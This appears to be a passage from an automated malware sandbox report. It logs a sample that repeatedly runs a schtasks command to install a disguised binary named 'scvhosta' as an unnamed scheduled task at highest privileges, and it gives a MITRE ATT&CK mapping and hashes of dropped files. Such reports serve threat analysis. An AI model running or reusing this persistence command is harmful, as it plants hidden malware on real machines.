- Executes a command shell one-liner
PID:4076 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:2716
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:3952 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:2856
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:4800 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:1224
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:1548 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:1232
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:2688 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:4920
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:4832 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:5080
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:3416 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:5512
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:4932 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:3660
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:3136 -
C:\Windows\System32\schtasks.exeschtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:4668
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C:\Windows\system32\cmd.exe"cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Users\Admin\AppData\Local\scvhosta" /RL HIGHEST & exit2⤵
- Executes a command shell one-liner
PID:1796
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C:\Users\Admin\AppData\Local\scvhosta"C:\Users\Admin\AppData\Local\scvhosta"1⤵PID:5844
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C:\Users\Admin\AppData\Local\scvhosta"C:\Users\Admin\AppData\Local\scvhosta"1⤵PID:5836
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C:\Users\Admin\AppData\Local\scvhosta"C:\Users\Admin\AppData\Local\scvhosta"1⤵PID:1036
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C:\Users\Admin\AppData\Local\scvhosta"C:\Users\Admin\AppData\Local\scvhosta"1⤵PID:1768
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵PID:3748
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
2Active Setup
1Winlogon Helper DLL
1Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Active Setup
1Winlogon Helper DLL
1Event Triggered Execution
1AppInit DLLs
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
- Size 599B
- SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
- MD5 658ab8c32d4cc5deb36ac5f63da4658b
- SHA1 30c12cd871ff0c2c4098d794e9ae4f2540586813
- SHA512 a73030c008ef3c2e274f11c90bfe79fa8ae402f76801c710bed8cc1ab1218a84858ea566b772be4bade8ef639a019c57d297028df15b64b3753482cf0f3c8f85
- TLSH T12AF05C83EB6A1B72C456123DC8EE56E47B31D1846EC11367A2107B1D3C2B7192D174BD
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\scvhosta
- Size 814KB
- SHA256 3eefd68b713fdf1e65fdfe2cd81381627e7554ae20e9dbcbb0f71fb3e72f8950
- MD5 34893a246e7245429c699a9ac43747a6
- SHA1 62b88ca9b79db81d831495ffccffb31f6e004fd9
- SHA512 8943a358581c3b55d1caedde80fac83229cf6057ed20037d3cf77138c37131bd78d426134c79d957a0848aa136fea16829c2b0308d85bc0c4d64aa75f799ddeb
- SSDEEP 12288:ijcnvzOmB6ra6Z4CbFbOuNiZE8vL5PYJ1zWmyMljcHQ3Vdn:ZzBGKCxOvzt81xiQ3Vdn
- TLSH T12E05E7247B959E01E5411A3E92BE2618D73260F32312AB47370BF7624D44AFEDD2C7DA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\xdwd.dll
- Size 136KB
- SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
- MD5 16e5a492c9c6ae34c59683be9c51fa31
- SHA1 97031b41f5c56f371c28ae0d62a2df7d585adaba
- SHA512 20fd369172ef5e3e2fde388666b42e8fe5f0c2bfa338c0345f45e98af6561a249ba3ecc48c3f16efcc73f02ecb67b3ddb1e2e8f0e77d18fa00ac34e6379e50b6
- SSDEEP 3072:t0iX+jLyDcqaH9a6DFHo6MjD7VbZaZaZ8Xwlk4MHWZpt:t07yDSvdoRj2up
- TLSH T151D35B0772A500BFE1668638C5630A09E777B8211770DBAF33A4429D9F277E19D3AF61
- MD5 SHA1 SHA512 SSDEEP TLSH